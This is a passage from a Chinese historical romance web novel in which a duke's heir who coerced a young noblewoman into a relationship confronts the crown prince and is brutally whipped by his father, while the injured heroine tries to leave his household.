一个温和熟悉的男子声音,在叶含珍耳边炸开。
她手下力道倏然一紧,那串紫藤花苞便被纤细玉指压在嶙峋的石山上,淡紫色的浆液粘连在掌心。
“我无事,只是觉得在席上坐久了有些闷。”一个陌生的女声响起。
温行松扶着人在假山一旁的榴花树下坐着,关切道:“我去前院给舅舅告个罪,先带你回府,请个大夫来瞧瞧。”
“今日是舅母的芳辰,这么早就离开,我怕扫她的兴致。”那女子拒绝了温行松的提议,随即又道:“难得今日太子同几位皇子公主都来了,你不如多在前院待会。我这会心里也好受许多,没有方才那么憋气,你扶我去花厅外就行。”
女子这话说完不久,叶含珍便听到一阵脚步声渐渐响起,越来越远。
她抬手掀开垂在假山上的一片紫藤,透过石隙,便看见一男子正扶着一黄衣裙裳的女子离开。
天朗气清,叶含珍将那女子头上挽的妇人发髻看得明明白白。
直到那清瘦背影踏上台阶时,叶含珍眼角便登时滚出热泪。
是他,温行松。
方才听得他关切那女子的声音,叶含珍不用深思,便知那女子定然就是他的新婚妻子。
饶是叶含珍再告诉自己要冷静,但那股痛楚还是顺着唇角溢出丝丝哀戚之音。
她一手撑在假山上,颤抖着慢慢从石凳上起身。
视线被热泪侵占,不防一脚踩在落了一地的残花上,“扑通”一声,整个人都朝地上摔去。
叶含珍摔趴在地上,细小的沙石瞬间嵌入她掌心。
双膝传来一阵剧痛,几乎让她眼前阵阵发黑。
想试图站起来,却根本使不上力,只能将手掌依旧撑着地上,慢慢感受着痛觉游走全身。
皓颈垂下,让此刻滚烫模糊的眼眶瞬间滚出泪珠,地上的青砖上很快就汇聚了两个水团。
园子里拂过的风,让紫藤花丛发出“沙沙”的声响。
这一刻,叶含珍才知先前的沉沦也好,逃避也好,都不过是一场笑话。
她只在一瞬间就分辨出听了十来年的温和嗓音。甚至,眼前还能浮现出那人朝人微笑的面庞。
“叶小姐!叶小姐你没事吧?”
小丫头取了荷包折返回来,便远远看见地上跪着的背影。
她一路小跑至叶含珍面前,将人从地上扶起坐在石凳上,焦急道:“手心都摔破了,这可怎么是好?”
“我……我没事,”叶含珍将双手撑在身侧的石凳上,努力缓解着双膝上的痛,带着歉意朝小丫头道,“可否劳烦姑娘替我去席上寻我的侍女来?现下我受了伤,今日的宴席,我怕是等不到结束就得离开。”
小丫头见了她额间俱是汗,当即点头应下,“我这就去叫小姐的侍女。”
还未转身,小丫头便见廊上走来几个身影,顺着台阶朝这边过来。
“奴婢见过——”
“叶小姐这是受伤了?”
沈俞静等不及小丫头行礼,几步跨至石凳前,“要不要紧?可还走得动?”
叶含珍抬头,却见是沈俞静正一脸焦急得望着自己。
视线越过他肩膀,紧跟在沈俞静身后的那位,正是闻景。
“给太子殿下请安。”叶含珍欲起身,却被沈俞静轻轻按住。
“别再乱动,孤这就让人抬你去瞧大夫。”
沈俞静连声朝身后的侍从道,“让人速速抬软轿来。”
侍从领命而去。
闻景眼风扫过叶含珍裙裳上的脏污,下一瞬间便直直越过沈俞静,抄起她双腿弯,将人抱起往外走。
“闻景,你要带她去哪里?”沈俞静气极道。
“今日叶小姐是郑国公府的客人,我身为主人,自然是要照顾好她,就不劳烦太子殿下操心了。”
闻景抱着人,只撂下一句堵沈俞静的话,便大步流星往溶月院走去。
叶含珍被闻景的动作唬了一跳,只是一动弹,双膝上传来的痛,就让她忍不住倒吸一口凉气。
闻景见怀里人仍不老实,双臂越发将人抱得更紧,“你再动,我就亲你。”
声音不大,却让足够让在场人听得真真切切。
叶含珍蓦然怔住,整个人被他这句胆大包天的话,惊得不敢再挣扎。
她太了解闻景的恶劣,也许他正期盼着自己会不听话。
紧随其后的沈俞静清清楚楚听到闻景的这一声,宛如被施了法术,被人死死定在原地。
他们的关系,已经到如此地步了吗?
身侧的侍从见他神情大变,小心翼翼道:“殿下?”
直到闻景的背影消失在眼前,沈俞静才仰头望了望湛蓝的天。
“……走,去见郑国公。”
他不信闻景可以猖狂到连他父亲的话,都不放在眼里。
这厢闻景抱着叶含珍抬脚往溶月院走,不过才远远看见院门,就被身后追来的闻雅和闻菲喊住。
“大哥这是要带人去哪里?”
闻雅几步追到闻景身侧,喘气道,“叶小姐受了伤,自然该寻个大夫替她治伤,但是却不能进大哥的院子。”
“难道大哥愿意让外人对叶小姐议论纷纷?”
闻雅眼下望着自家大哥的神情,便知这话是劝到了他心坎上。
若是真的爱重怀中的人,就应该替她的名声着想。
叶含珍闻言,不禁看向闻景身侧的女子,心头微震。
眼里都是感激。
思量片刻,闻景到底是听了闻雅的劝,不再朝溶月院走。
等到他抱着叶含珍,踏入郑国公府替客人暂时歇息的客院时,大夫也被玉泉带到门口。
叶含珍手上的伤多是擦伤,只是那些细小的沙石有些麻烦,得完全清理干净才行。
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闻景接过丫头递来的干净巾帕,握着叶含珍的手腕,一点一点去拨嵌在血肉里的沙。
闻雅则看了一眼心虚不已的闻菲,又吩咐丫头去取一套她的干净衣裙来。
“闻菲,去请大夫进来给叶小姐瞧瞧。”
闻景将帕子缠绕在叶含珍双掌上,神情看不出喜怒。
“是,大哥。”
闻菲亲自去引了大夫进屋,替叶含珍看伤。
“回世子爷,四小姐,这位小姐手上的伤都是些皮外伤,上些金疮药,养几天不沾水就好了,只是——”
“只是什么?”
闻景没了耐心,“有话就说,少吞吞吐吐的!”
那大夫打了个激灵,拱手道:“只是小姐的双膝受伤比较严重,恐怕这几日都得躺在床上,不能走动。”
“可要紧?”
“至少得养十天半个月,就算能下床走动,也得缓缓走动,不可再受伤。”
闻景听完大夫的话,看也不看一旁心虚的闻菲,沉声道:“劳烦大夫再替她把把脉。”
叶含珍闻言猛然望向闻景,却看见他双眸沉沉,正目不转睛望着自己。
“我只不过摔了一跤,都是些外伤,不需要大夫替我把脉。”
叶含珍知道今日过后,她同闻景之间的关系,很快就被人传出去。只是她现下还没见到雪青和青莲,她不敢,也不能让大夫替她把脉。
闻景见她抗拒的模样,心底不禁觉得十分可笑。
“好,那就再过几天,手上换药的时候,再让大夫给你把脉。”
闻景突然其来的好说话,让叶含珍有些不知所措。
方才她还见他怒气冲天,怎么这会突然换了性子,她说什么就是什么。
一旁的大夫见贵人拒绝把脉,朝闻景拱了拱手,背着药箱跟下人出去了。
闻菲见闻景周身气势不似先前那般冷冽,鼓起勇气低声道:“叶姐姐还疼吗?要不要去我的院子里歇一歇?这里虽有歇息的地方,但是却没有我院子里舒适。”
她打量了屋子一眼,虽什么都有,但到底比不上她的闺房。再加上她有负她大哥的嘱托,让人在园子里受了伤,此刻正心虚得想做些什么,免得她大哥一脸阴沉着不理她。
既然不能去溶月院,那去她的院子总行了吧。
“闻菲,你说说我之前是怎么交代你的?”
闻景仿佛这会才瞧见闻雅和闻菲,慢慢和她们算起账来。
“大哥,都是我不好,”闻雅抢先一步道,将吓得不轻的闻菲往身后一拉,直言道,“是我没有照顾好叶小姐,才让叶小姐受这么重的伤。”
“……我有负大哥的嘱托,大哥要骂就骂我。”
叶含珍见闻景为着自己受伤的事,开始问责两位闻家的小姐,不得不开口打断闻景还未说出口的话。
“……闻景,是我自己不慎摔倒的,和闻三小姐,闻四小姐都没有关系,她们将我照顾得很好。”
闻景气得发笑:“你有心情还替她们求情?不如你还是先想想,方才沈俞静关切你的那副神情吧。他关心你几句,你就和颜悦色得应答,到了我这里,连让大夫给你把个脉都不行。”
“叶含珍,你可真会看人下菜碟!”
叶含珍没想到闻景到现在还记着方才沈俞静关切自己,解释道:“太子殿下不过是君子之风,他素来和善,关怀人几句,也不算什么逾矩行为。”
闻雅到底是成了亲的女子,听到叶含珍在他大哥面前,如此维护其他男子,不由心底暗叫不好。
而且她冷眼瞧着两个人的神情,倒像是她大哥上赶着这位叶小姐。
53. 鞭笞
果然,闻景听完这话以后,神情瞬间阴转大怒。
“说得真好,只是在你眼里,他关心你是君子之风,那我呢?我算什么?”
叶含珍见闻景不肯退让,咄咄逼人,不由提高声音道:“闻景,你问我,那我也有些事要问你。”
她听到那女子说要给舅母请辞,那岂不是表明她与闻家,有着某种她不敢去猜的关系。
希望不是她想的那样。
“你要问我什么?”
“我想问,京兆尹陈家同郑国公府,是什么关系?”
“京兆尹陈家?”闻菲不解道。
那不是她姑姑家吗?
闻景脸上肌肉有些不自然僵硬,顿声道:“你问这个做什么?”
“没什么,我只是想知道你有没有瞒着我什么事。”
叶含珍难得见闻景这副心虚的样子,心里越不安起来。
闻菲跃跃开口的动作被闻雅一眼瞪住,眼神只不停地在眼前剑拔弩张的两人之间,来来去去,不敢多发一言。
屋子蓦然沉寂下来,静得让叶含珍生出绝望。
而就在此刻,一声“太子殿下驾到”便打破了众人的沉默。
只见太子沈俞静同郑国公闻言敬只相差一步,前后踏入房中。
“太子殿下千岁千千岁。”
沈俞静快步走至叶含珍身前,依旧将人肩膀按住。
“叶小姐腿上有伤,就不用多礼了,快快坐下,”随即松开手,朝身前行礼的三人挥手道,“都起来吧。”
沈俞静进来时,就发现屋子里的氛围不对。眼神在叶含珍身上转了一圈,便向一旁的郑国公道:“郑国公,若没有其他事,孤就送人回府了,叶小姐的兄长,也已经候在门外。”
他去了这么久,就是让人去寻叶劲,自己则是去寻闻言敬。
郑国公起身拱手道:“臣恭送太子殿下。”
随后又朝闻景道:“阿景,给太子行礼。”
闻景自沈俞静踏入房中后,袖子下的手握了又松,松了又握。
直到听到他父亲让他恭送沈俞静离开时,才缓缓起身拱手道:“恭送太子殿下,只是太子殿下有事可以先走,至于叶小姐,此刻还不能离开。”
“闻景——”
“逆子!你怎么敢违逆太子殿下?”
闻言敬被儿子的无礼气得身子发抖,抢在沈俞静发火前,怒斥起来。
只是闻景根本看都不看他父亲,仍旧道:“太子殿下勿怪,今日叶小姐受了伤,走动不得。臣想着还是等客人们都离开了,再亲自送叶小姐回府。”
沈俞静听到叶含珍无法行走,起身就要去抱人离开,却被一个箭步冲上来的闻景挡在叶含珍面前。
“太子殿下想做什么?”
闻景咬牙切齿望着怒目而视的沈俞静,“男女有别,太子殿下这样接近她,恐怕会惹人非议。”
“闻景!”
闻言敬大喝一声,“还不快快退下,你再胡作非为,就别怪我请家法。”
沈俞静也被闻景激得失了往日的温和,厉声道:“闻景,你滚开!孤今日就是铁了心要带她走,你再拦着,孤就给你个违逆犯上的罪名,让你尝尝下狱的滋味。”
“太子殿下要将我下狱?”
闻景不怕反笑:“好啊,太子殿下要将我下狱就下狱,反正就算你今日杀了我,我也不会让你带走她的。”
说完转头又朝叶含珍道:“珍珍,你不是说你拒绝了太子殿下吗?怎会这会他就要非带你走呢?还是说,你先前都是骗我的?”
闻言敬见闻景油盐不进,仍挡在那女子身前,只得沉声道:“阿景,就算这位小姐之前拒绝了太子殿下,也轮不到你在这里拦着,你又有什么资格拦在这位小姐面前?这么多年的君臣之道,我看你是丢到狗肚子里了。还不快快退下?”
闻景恍若未闻,只继续朝叶含珍道:“……珍珍,你自己说,你要不要留下来。”
他收回展开的双臂,走至叶含珍身侧,附身在她耳畔低语:“想清楚了再回答。”
叶含珍见沈俞静焦急的神色,朝他会心一笑:“太子殿下不必担心,闻世子只是想多留我坐一会。正好,我也有些事要问他。”
“你——”
沈俞静又前行一步,想问个清楚,但还未说出口,就被闻景伸手一拦:“太子殿下可听清楚了?叶小姐说要多坐一会儿呢。”
沈俞静的视线紧紧盯着朝自己微笑的叶含珍,便知她是真的愿意留下来。
虽不知原因,但她丝毫不见一丝不安和畏惧的神情,沈俞静也渐渐冷静不少。
“闻景,今日孤看在叶小姐的面子上,不理会你,只是下次你若在孤面前失礼,孤便数罪并罚。”
闻景听出他退让之意,噙唇微笑:“多谢太子殿下宽容,也谢叶小姐的维护。”
“恭送太子殿下!”
沈俞静懒得去看闻景得意的神情,担忧得望了一眼叶含珍,甩袖大步离去。
“闻雅闻菲,你们都去替你们母亲送客人。”闻言敬吩咐道。
闻雅闻菲相视一眼,随即闻雅便牵着还欲言又止的闻菲告退。
闻景见他父亲支开两个妹妹,便知今日的事才正式步入正轨。
闻言敬就近在一旁的椅子上坐下,指着闻景道:“你站开些,我有些话要问问这位叶小姐。”
闻景一改先前老鹰护食的模样,依言往叶含珍身侧一站。
“小女叶含珍,见过闻国公。”叶含珍扶着扶手,缓缓起身。
闻言敬知道她受了伤,只挥手道:“叶小姐,你伤了腿,坐下说话就好。”
叶含珍依言落座,眼神慢慢打量着眼前这位老人。
白须胡髯,双目炯炯有神。
周身磅礴的气势,几乎与初见的闻景毫无差别。
“我听郡主提过你,”闻言敬徐徐道,“听说阿景心悦与你,想娶你为妻,可是我却想着能不能见你一面,问问你的想法。”
叶含珍倏然惊愕得望着眼前的这位闻国公,不敢相信她方才听到的话。
他知道闻景的打算,要问自己的想法。
叶含珍也不知此时是该哭还是该笑。
自她委身与闻景,何尝有人问过她是怎么想的?
她爹焦心叶府,她娘担忧她以后。就连她哥哥叶劲,也不曾问过她这句话。
更不提强势霸道的闻景,他总有法子逼自己应下他任何要求。
“你爹是工部侍郎,哥哥又是大
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理寺左寺,论起出身,是足够与阿景为妻。只是去岁时,郡主从宝光寺回来,说你不喜欢阿景,我便隐隐有些事情想问你。今日难得你来府上做客,我就直截了当得问了。”
叶含珍直起背脊,温声道:“国公爷请讲。”
闻言敬道:“叶小姐可有心上人?”
“爹——”闻景急道。
只是闻言敬看都不看闻景一眼,朝叶含珍道:“若是叶小姐不想说也可以不说,我只是想知道叶小姐对闻景有什么看法。”
“婚姻是缔结两姓之好,不是来结仇的。若是叶小姐也对阿景有意,我便豁着老脸去府上提亲。”
随即又爽朗大笑起来:“我这话原本该先问问你父母,只是阿景前些年征战在外,耽误成家。眼下,我和郡主最忧心的事,便是此事。”
“不瞒你说,他下面的弟弟妹妹们,除了还未及笄的闻菲,都已成家,所以我今天才贸然越过你父母,想先问问你的意思。”
叶含珍听明白了,这位闻国公是替闻景向自己提亲。
“若是我说我对闻世子无意,闻国公会如何?”
她想知道这位闻国公这副和蔼可亲的模样,能维持多久。
就如那天在宝光寺一样。
叶含珍记忆犹新,那天她的反抗,可是换来了好几个巴掌。
闻景原本松懈下来的神情在听到叶含珍的话后,倏然骤变。
“……珍珍!”
叶含珍无视闻景警告,依旧只看着眼前的闻国公。
却听闻国公抚着胡髯道:“好,叶小姐的意思老夫明白了。”
他说完这话,便慢慢从椅子上起身,从袖子里掏出一截短鞭,往地上甩了甩。耳旁响起鞭子的呼啸声,叶含珍被他的动作吓得不轻,鸦黑羽睫也不禁轻颤。
他、他这是要打自己吗?
就在叶含珍害怕闭眼的时候,耳边却传来闻景的一声闷哼。
“啪!”
那是鞭子落在皮肉才有的声响。
叶含珍颤抖着眼睫睁开双眼,就见闻国公一手执鞭,又朝闻景挥去。
“还不跪下?”闻言敬爆喝一声。
先前他还抱着幻想,闻景不会做出有辱斯文的事。方才太子沈俞静来寻自己的时候,他也只是有些疑心。
可是方才他听到闻景唤她名字,低声警告的时候,才知自己错的离谱。
闻景一言不发,直挺挺得跪在地上。
闻言敬见他毫无悔意的模样,又扬起手里的鞭子,朝那具站起来比自己还高的身躯甩去。
叶含珍被这父子俩的情形,弄得有些呆滞。
闻国公不是在担忧闻景的婚事吗?怎么说得好好的,为何忽然要抽打闻景?
随着闻国公手里的鞭子在闻景背上起起伏伏,没一会空气里便充斥着久久不散的血腥气。
破绽的锦袍下,遍布深不可测的鞭痕。
屋子只能听到闻景口中时不时溢出的喘息声和闷哼声。
“……你这个出,牲,是谁让你强占祸害别人的姑娘的?我和你娘,就是这样教导你横行霸道吗?”
闻言敬一边抽打着闻景,一边怒斥道:“你仗着身份官职,欺男霸女,我今日不打死你,我就不姓闻!”
54. 合穴而葬
鞭子飞舞着,不停地落在闻景宽厚的背上,溅出一道道血痕。而就在下一道鞭子坠落前,忽从门外踉踉跄跄冲进来一个身影。
“住手!闻言敬你住手!”
舜华郡主还未送完宾客,闻雅便带着闻菲在她耳畔低语了几句。
得知闻言敬见了闻景阻拦太子带人离开的事,当即就赶往叶含珍所在的客院。只是还未走到门口时,便听见闻言敬怒骂闻景的声,和鞭子飞舞的声音。
舜华郡主心下暗道不好,顾不得什么风度礼仪,跌跌撞撞跨过门槛,就看见闻言敬手里的鞭子要向儿子血肉模糊的背上挥下。
她双手抱住闻言敬的右手,不肯让他再在闻景已经血肉模糊的背脊上落下一鞭。
舜华郡主回头朝椅子上的叶含珍大喊道:“叶小姐,你要看着阿景被他父亲活活打死吗?”
“是我……是我没有教好他,让他做下这些让你痛不欲生的事,可是他真的已经知错了!只要你愿意嫁进郑国公府,我明日便去府上提亲,如何?”
舜华郡主流泪道:“阿景、阿景他是喜欢你的,你不知道吗?“
“喜欢我,就要毁了我吗?”叶含珍惨白着脸,朝哭花了妆容的舜华郡主问道,“他知错我就要一定要原谅他,再装作若无其事得嫁给他吗?”
“舜华郡主也是做母亲的人,若是有人敢这样对您的女儿,您会原谅他吗?”
叶含珍只用一句话,就将舜华郡主瞬间堵得哑口无言,就连不停地朝闻言敬求情的闻雅和闻菲,都讪讪住了口。
“舜华,你起来,”闻言敬大口喘着粗气,额间青筋暴起,“这畜,牲先是横行霸道,欺男霸女,后又敢当面顶撞太子,我今日若不打死他,咱们郑国公府迟早有一天会被他害死。”
“没有!阿景已经知道错了……他知道错了!”
舜华郡主不敢松开手,只不停哭喊道:“阿景,你快点向你父亲认错,说你会改,说你不会再犯。”
闻景咬着牙根,不肯泄露一丝退让,只死死盯着说完话,两眼无神的叶含珍。
好似此刻被打得皮开肉绽的人,不是他。
闻言敬简直要被闻景气得跳脚,只朝闻声而来的闻璃和两个女儿道:“快将你们母亲扶走,不然我就一头撞死在这里!”
闻璃第一次见父亲如此狠责他大哥,上前扶住哭得稀里糊涂的舜华郡主。
“母亲冷静些,许是父亲哪里误会了大哥,待误会解开了就好了。”
闻景此刻却大声道:“阿璃,你带母亲走,还有闻雅和闻菲。”
“是我犯了错,父亲罚我,天经地义。”
“大哥!”
“大哥!”
闻雅拉着想要扑到闻景身上的妹妹,眼泪簌簌直流。闻菲年纪还小,自然不明白父亲为何要鞭打大哥。
舜华郡主哭得脱了力,很快就被闻璃扶到了一旁的椅子上坐下。
闻言敬又高高举起鞭子,狠狠朝闻景背上抽去。
闻景被这一鞭抽得趴在地上,只是眼眸仍不肯离开叶含珍苍白的面庞半分。
他慢慢阖动着溢着血沫的唇:“……对不起。”
那些事,他不该逼迫她,但是他不后悔自己逼她。
若是今日他被打死在这里,那也是罪有应得。
而早就被舜华郡主的哭喊声,惊得回神的叶含珍,此刻也看清他眼底的歉意,却没有意料之中的悔意。
仍是不悔吗?
她痛苦得抱住了自己的双臂,低低呜咽起来。
闻景见她避开自己的眼神,喘了两口气:“……父亲,你打死我吧。反正我不后悔从前做下的那般错事,若是再给我一次机会,我还是会将她困在我身边。”
“我也知道自己犯下了不可饶恕的错,只是木已成舟,除非你今日打死我,不然,我只有还有一口气在,我就会将她八抬大轿迎进溶月院。”
闻言敬听完又朝闻景狠狠挥下一鞭,斥道:“你还想娶人家?你也看看人家愿不愿意嫁给你?我今日都算是手下留情了。”
“我只恨我自己没有教导好你,还让你袭了世子之位。早知如此,我就该一刀宰了你,向被你欺压过的人赎罪。”
闻景却在挨过这一鞭后忽然张着血盆大口,厉声大笑起来。
“父亲怪自己没有教好导我?”
他咳出一口血沫,冷冷讥讽道:“我变成如今这样,都是父亲的功劳。明明这些又争又抢的手段都是那人教我的,父亲不也是很受用吗?怎的这会又觉得自己没有教好儿子?”
此话一出,不仅闻言敬手里的鞭子从手里滑落,就连趴在闻璃身上的舜华郡主,都瞬间止住了哭声。
一旁的闻雅却想要拉着闻菲离开。
闻菲不知所以,哭着不肯离开:“我不走!姐姐,我要救大哥!”
闻璃见父母面上都失了血色,便知不能再让大哥继续说下去了。
“……叶小姐,我是闻景的弟弟,我叫闻璃。”他知道解铃还须系铃人,只有让这位叶小姐开口,大哥才会收敛些。
叶含珍轻轻蠕动嘴唇:“不知闻二公子唤我何事?有话就直说吧。”
“叶小姐,你与我大哥相处已有一年,不知叶小姐可对我大哥有没有一丝丝情意?若无,我便让人送叶小姐回府,以后绝不再扰你清净。若有的话,”闻璃顿了顿,“若有,还请叶小姐看在我大哥已经受到惩戒的份上,原谅他。我们郑国公府很快就会去贵府,向叶大人和叶夫人提亲。”
这是他能想到解决此事的唯一办法。
叶含珍模糊着视线,朝那位与闻景有七八分相似的年轻男子望去。
明明是亲兄弟,但两人的气质却大相庭径。
方才听闻景的意思,他变成如今的模样,是因为从前有人教过他这些下作的手段。
就连先前气势汹汹的闻国公,都被他这句话震住。
叶含珍忽然也想知道,闻景这种偏执阴沉的性子,到底是谁造成的。
脸上凉凉的。
用缠着雪白巾帕的手往脸上一抚,却见那巾帕上,赫然跃入一抹嫣红。
那是鞭子从闻景背上抽下渐飞在面庞上的血珠。
“那就劳烦闻二公子派人送我回家吧,”叶含珍指着自己的双膝道,“我摔伤了腿,走不了路,麻烦闻二公子让人备顶轿子。”
闻璃点头:“好。”
闻景听见她要走,当即急急朝叶含珍脚边爬去,顾不上身上痛得让人忍不住咬舌的鞭伤,一把握住了她的脚。
“……珍珍……珍珍你不能走!”闻景将脸贴她污脏的绣鞋上,喃喃自语道,“你答应过我的,今日会同意我们的婚事,你不能言而无信。”
“闻景,你是郑国公府的世子,也是官至二品的朝廷大员,想来就凭这些,就能让你顺顺利利娶到合眼的夫人,你又何必缠着我不放呢
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?”
叶含珍难得这会稳住气息,细细劝慰着不肯放开她脚的闻景。
语气里难得带着些让闻景魂牵梦萦的温柔,只是内容不符合他的心意。
“从前的事,我可以放下,”叶含珍慢慢话里带着些哭意,嗓子也嘶哑得厉害,“你也放下,好不好?”
若是今日能顺顺利利离开郑国公府,此生,她都不会再与闻景相见。
闻璃让人准备的轿子已经到了垂花门下。
只是,这客院到垂花门的距离,得让婆子用软轿抬了她去。两个健壮的妇人很快就走到叶含珍跟前,屈身福了福。
闻景喝退:“你们不准碰她!”
闻璃早绕至闻景背后,就在闻景喝退下人的时候,一把夺下他钳制在手里的脚腕,半抱着闻景往后退了几步。
“……走。”
闻景手里瞬间失去那只穿着绣鸳鸯的脚,仰躺在闻璃腿上,失声痛哭道“珍珍!珍珍!”
“闻璃,你放开我!你放开我!”闻景在闻璃手里挣扎起来。
只是任凭他如何挣扎,闻璃不敢松开一分一毫。叶含珍趴在妇人后背上,听着闻景的叫喊,不禁心口“砰砰”直跳。
这就要离开闻景了吗?
她缓缓转过头朝身后望去,只见闻景带着满身的绽开的皮肉,被闻璃死死抱住腰。
“叶含珍,我恨你!”
闻景看着她越来越远的背影,失声痛哭道。
“闻璃,你放开我。”闻景剧烈喘息道,大滴大滴眼泪自他眼角滚落,“……你这是在逼你大哥去死,你知道吗?”
“大哥,你放手吧,叶小姐也说会放下的。”
“呵呵!”
闻景惨笑一声,随即抓着闻璃的衣襟,咽下一口腥气道:“你以为她的放下就是重新开始人生吗?闻璃,我告诉你,你错了,你错的离谱。”
“……就以她的性子,只怕回到叶府,不出一日,你就会收到她的死讯。到那时,我也会随她而去,”闻景大口喘息着,“届时,劳烦您闻二公子,将她的尸身带到我身边,将我们合穴而葬。”
什么?!
闻璃大惊失色。
闻景却抓住他失神松开手的这一息,猛然推开闻璃,往前爬去。
只是才爬到门口,便被闻雅和闻菲拉住。
“大哥,你不能再这么折腾自己!”闻菲哭着道。
闻雅见闻景脸色都灰败一片,只死死拽住他,大声喊大夫。
“父亲,你当年的宠妾不就是靠着去争,去抢来获取你的疼爱吗?哪怕那时母亲才替您诞下子嗣,您也要从母亲手里护着她性命。”
“我只不过学了她一分手段,您就对我喊打喊杀,这公平吗?啊?”
院子里早没了她的背影,闻景从地上慢慢撑起身子,转头朝身后满头白发的男子望去。
闻景永远不会忘记,那日那女人在他耳边说出的一字一句。
她就是靠争,靠夺,靠无穷无尽的邀宠手段,让父亲在她死后数年,仍在书房里藏着她的画像。
就放在那副渔人垂钓的画后。
他抬手挥掉了两个妹妹的拉扯,仰躺在地板上,放肆大笑起来。
“她早就是我的女人,而我这辈子,也只会有她一个女人。你们若是不想亲手送我们入坟墓,就让人将她送回来。”
“大哥!”
闻璃几乎要崩溃。
55. 鞭笞(三)
舜华郡主几步扑到闻景身侧,泪流满面抚过他的脸,“儿子,你还有娘!你不能丢下娘!”
“大哥,呜呜呜……”
“闻菲,别哭了!”闻雅擦了擦眼角,朝哭得稀里糊涂的闻菲道。
闻菲一把拉着闻雅的手,哀求道:“我去求叶姐姐回来,我去求她回来!”
“回二爷,方才那位小姐还未入轿时,就在婆子身上昏了过去,现下该怎么办?”
闻璃万万没有预料到这种情况,还未做出反应,就看见他大哥猛然翻身而起,只是瞬间就倒在门口,闭上了眼睛。
闻璃扫了一眼已经呆坐在椅子上的父亲,决然道:“将那位小姐送到溶月院,将世子爷也抬回去。”
“大夫到了就赶紧给世子爷治伤,还有,”闻璃红着眼睛望向门口的侍从,“赶紧去请二夫人给那位小姐把脉。”
“是。”下人躬身道。
好在今日宴席已散,客人们都被闻景的庶叔庶婶们,再加上闻璃的妻子,梅氏送至门口。
不过舜华郡主急色赶去客院的事,梅氏很清楚。
她这厢送完宾客,还没来得及赶到客院,就被闻璃派来的人,请到了溶月院。
溶月院是闻景的院落。
梅氏虽满腹狐疑,却还是依言带着侍女到了溶月院门口。
“夫君。”
闻璃目送着下人将闻景抬进正房,转身就听到妻子的呼唤。早先的一脸焦急,此刻才略有些缓解。
他牵着梅氏的手,慢慢往院子走。
“铃儿,客人们可都走了?”
“已经都被一一送至门口,我也安排好了各家的马车和收拾残席之事,夫君放心吧。”
闻璃拍拍梅氏的手背,叹气道:“娘子辛苦了。”
“大哥吃了父亲一顿鞭子,我已经让大夫去给他处理伤势。”
梅氏一脸茫然:“父亲怎么会在今日母亲的寿辰上,责打大伯?可是其中有些误会?”
闻璃听完转头看向正房旁的西厢房,眼里带着些难以启齿的神色。
“大哥今日陪太子去园子里逛逛,哪知不久后太子便一个人掉头来前院寻父亲。我在一旁听得清清楚楚,太子说大哥在临州夺他人为妾,偏偏那女子还是如今工部侍郎叶家的小姐,从前与……”
闻璃说到最后,声音渐渐低下去。
脸上的神色比先前梅氏在门口遇到时,难看百倍。
梅氏与闻璃肩挨着肩,还是将他最后两句低语,听得真真切切。
“……与若清表妹的新婚丈夫温行松,有婚约。”
梅氏瞬间一怔,抬头望向一脸担忧的闻璃,颤声道:“这、这是真的吗?”
闻璃如何不知梅氏为何会如此震惊?
他方才在听到太子将这些事,一一告知父亲时,也是这般不可置信。
如今京兆尹陈家的主母,是他父亲的表妹,也就他的表姑姑。当初,也是大哥让母亲出面,促成温陈两家的婚事。
如今想来,应该只是为了能彻底斩断他们的以后。
这样的闻景,让闻璃觉着陌生。
闻璃深吸一口气,继续低声道:“太子寻父亲挑破此事,也是因为大哥要带不慎摔倒的叶小姐去溶月院,哪知等父亲赶到时,听到叶小姐并不愿意嫁给大哥,才怒火中烧,将大哥重重教训一番。”
“那叶小姐呢?”
闻璃摇头,“我本也想送她离开,只是大哥说,若是我放她回叶府,那位叶小姐怕是会寻短见。这时,我派去送叶小姐离府的下人回来说她昏过去了,我没有法子,只好将她同大哥一起送回溶月院。”
梅氏听到这里,已经明白闻璃的意思,安慰道:“大伯说的话没错,既然那位叶小姐如此坚决反对她与大伯的婚事,可想而知她是无意于大伯的。可是,他们既然已经……那贸贸然让叶小姐离开,怕是真的会闹出人命。”
女子婚前若失了清白之身,那简直就是送她去死。
“……可是想让我替叶小姐诊脉?”
闻璃:“不错,你替她诊脉,是我能想到的最周全的法子。”
梅氏的父亲是如今太医院院首,她自小在闺中时,也学得一身医术。那位叶小姐同大哥已经……那她的脉象便不可随便让外面的大夫来号。
免得将此事闹得更难收拾。
梅氏也赞同闻璃的安排,当即点头道:“夫君考虑的很是周全,那我这就去西厢房,替叶小姐诊治。”
“那好,我也去看看大哥的情况如何了。”
他带两个人回溶月院时,父亲和母亲还僵坐在客院里,由闻雅和闻菲陪着。
眼下,最重要的事,就是赶紧替大哥治伤。
至于后面该怎么办,还是得等大哥醒来再说。
夜幕降临,灯火辉煌,只是与白日间热闹喧嚣的气氛相比,不免让人觉得冷清几分。
溶月院的西厢房里,叶含珍看着眼前替自己双膝敷药的女子,十指慢慢揪紧了盖在身上的锦被。
“……好了。”
梅氏仔细给叶含珍摔得已经肿起来的双膝上,敷好了她特意调配的药膏,慢慢收拾着托盘里的瓶瓶罐罐。
“叶小姐双膝上的伤,得好好养一段时间,虽未伤到筋骨,但保险起见,还是小心些才好。”
叶含珍听着梅氏的徐徐交代,只见她将收拾好的药盘交给身后的丫头后,才侧坐在床沿上,与自己相视一笑。
她在酉时末便醒过来了。
也是眼前这位梳着妇人发髻的女子告诉自己,她此刻身在闻景的院子里。
不就是在闻景在郑国公府的院子里吗?
叶含珍心下并不在意这些,她只是有些不解为什么闻景没有将她带回梨花巷。
“多谢二夫人替我治伤,含珍感激不尽。”无论如何,她双膝上的痛在敷上药膏后,确实缓解不少。
梅氏:“叶小姐不必多礼,我也只是受人之托忠人之事罢了。”
是闻景嘱托她替自己上药的吗?
叶含珍想起闻景的伤,自嘲一笑:“看来闻世子的伤还不够重,竟还有力气麻烦你替我治伤。”
随即却看见梅氏一脸欲言又止的模样,不禁开口道,
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“闻世子他人呢?”
“叶小姐误会了,”梅氏解释道,“大伯被抬回正房后,到现在一直都未醒过来。替你治伤,是我夫君请我出手的,并不是大伯。”
闻景还昏迷着。
叶含珍不知此刻听到闻景重伤昏迷的消息,是该哭还是该笑。
下午闻国公鞭笞闻景的场景,让她记忆犹新。甚至还松开抓在锦被上的手,往脸上抚去。
没有想象中的血迹。
梅氏不解,只当她觉得自己脸上不干净,连忙朝她道:“叶小姐放心,在你昏睡那会时,我就让丫头们替你更了衣,也擦干净了脸。”
“……谢谢你,闻二夫人。”
梅氏听她道谢,不禁暗暗有些恻然。
